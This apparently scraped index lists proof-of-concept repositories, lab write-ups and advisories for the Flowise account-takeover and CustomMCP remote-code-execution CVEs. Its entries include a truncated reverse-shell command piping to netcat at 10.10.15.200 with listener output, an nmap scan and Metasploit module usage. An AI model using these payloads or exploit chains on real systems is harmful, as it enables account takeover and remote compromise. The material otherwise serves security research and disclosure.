Flowise-CVE-2025-58434-Chain-59528

FlowiseAI CVE Chain - ATO CVE-2025-58434 and RCE CVE-2025-59528 ⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal. Table of Contents This repository contains a Python proof-of-concept for chainin...

Flowise-RCE-CVE-2025-59528

CVE-2025-59528 — Flowise AI Authenticated Remote Code Execution RCE Overview CVE ID: CVE-2025-59528 Affected Software: Flowise AI Vulnerable Versions: = 3.0.4 Fixed Version: 3.0.5 and later Severity: Critical Author: r3nsi15 Date: 2025 Description Flowise AI versions up to and including 3.0.4 all...

CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP Prueba de Concepto de Ejecución Remota de Código Una prueba de concepto en Go para CVE-2025-59528 dirigida a versiones de Flowise = 3.0.5. Resumen Flowise permite la ejecución de JavaScript no validada a través de la configuración del nodo CustomMCP. La aplicació...

CVE-2025-59528-PoC

CVE-2025-59528 Educational PoC Educational use only. This project is intended for controlled security research, classroom demonstrations, and authorized testing in an isolated lab. Do not use it against systems, networks, applications, or accounts that you do not own or have explicit permission t...

CVE-2025-59528-POC

CVE-2025-59528 - FlowiseAI CustomMCP Remote Code Execution CVSS 10.0 Critical | Blind RCE | FlowiseAI Flowise = 2.2.7-patch.1 and 3.0.6 Overview A critical remote code execution vulnerability in the CustomMCP node of FlowiseAI Flowise. The convertToValidJSONString function passes user-supplied...

CVE-2025-59528

CVE-2025-59528 – Flowise CustomMCP 节点远程代码执行（PoC） 概述 本仓库包含了证明 CVE-2025-59528 在 Flowise v3.0.5 中存在的概念验证代码。 该漏洞存在于 customMCP 节点中，用户提供的 mcpServerConfig 输入在处理时，会通过 Function 构造函数进行不安全求值，从而导致 JavaScript 代码执行。 受影响版本 受影响| 修复版本 ---|--- 3.0.5| 3.0.6 影响 经过身份验证的用户可能能够在服务器上执行任意 JavaScript，进而可能导致远程代码执行。 安装...

HTB-Silentium-Writeup

HTB - Silentium Writeup Machine Info Name: Silentium OS: Linux Difficulty: Easy CVEs: CVE-2025-58434, CVE-2025-59528, CVE-2025-8110 Enumeration Nmap Scan root@kitploit: nmap -sC -sV -p- --min-rate 5000 -oN nmap.txt Open ports: 22 SSH, 80 HTTP Virtual Hostsstaging.silentium.htb runs Flowise 3.0.5...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE Authenticated RCE PoC for Flowise version &1|nc 10.10.15.200 443 /tmp/f' Check the listener and it should work: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off...

CVE-2025-58434

CVE-2025-58434 - Toma de control de cuenta no autenticada en Flowise, encadenada a RCE mediante CustomMCP Dos problemas de Flowise 3.0.5, encadenados: 1. CVE-2025-58434 - divulgación del token de restablecimiento de contraseña. POST /api/v1/account/forgot-password devuelve el tempToken del usuari...

CVE-2025-59528.yaml

CVE-2025-59528.yaml Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5, Flowise is vulnerable to remote code execution. The CustomMCP node allows users to input configuration settings for connecting to an external MCP server. This node parses...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Exploit chain for two vulnerabilities affecting Flowise = 3.0.5. Vulnerabilities CVE-2025-58434 — Unauthenticated Account Takeover The forgot-password endpoint returns a valid password reset token in the API response without requiring authentication. An attacker wi...

CVE-2025-59528-PoC

CVE-2025-59528 PoC Python proof-of-concept script for triggering the Flowise CustomMCP RCE path via POST /api/v1/node-load-method/customMCP. ⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal...

Flowise MCP Server Remote Code Execution

Flowise versions from 2.2.7 prior to 3.1.2 are vulnerable to remote code execution through the Custom MCP Model Context Protocol node configuration. The vulnerability exists in the /api/v1/node-load-method/customMCP endpoint, which accepts arbitrary command and argument configurations for MCP...

Exploit for Code Injection in Flowiseai Flowise

CVE-2025-59528-Flowis...

Exploit for Code Injection in Flowiseai Flowise

Version francaise CVE-2025-59528 Proof of Con...

📄 Flowise 3.0.6 JS Parsing Injection

A JavaScript parsing injection vulnerability exists in Flowise versions prior to 3.0.6 and greater than 2.2.7-patch.1. ============================================================================================================================================= | Title : Flowise 3.0.6 JS Parsing...

📄 Flowise 3.0.4 Code Injection

Flowise versions 3.0.4 and below suffer from a remote command injection vulnerability. ============================================================================================================================================= | Title : Flowise 3.0.4 php code injection | | Author : indoushka | ...

Flowise Cross-Site Scripting Vulnerability

Flowise is a FlowiseAI open source tool for easily building LLM applications. A cross-site scripting vulnerability exists in Flowise version 3.0.5, which originates from a CustomMCP node directly executing user-entered JavaScript code and can be exploited by an attacker to cause remote code...

Flowise 代码注入漏洞

Flowise is a FlowiseAI open source tool for easily building LLM applications. A cross-site scripting vulnerability exists in Flowise version 3.0.5, which originates from a CustomMCP node directly executing user-entered JavaScript code and can be exploited by an attacker to cause remote code...

Flowise Custom MCP Remote Code Execution

This module exploits a remote code execution vulnerability in Flowise versions = 2.2.7-patch.1 and use exploit/multi/http/flowise/custommcprce msf undefinedcustommcprce show actions ...actions... msf undefinedcustommcprce set ACTION msf undefinedcustommcprce show options ...show and set options...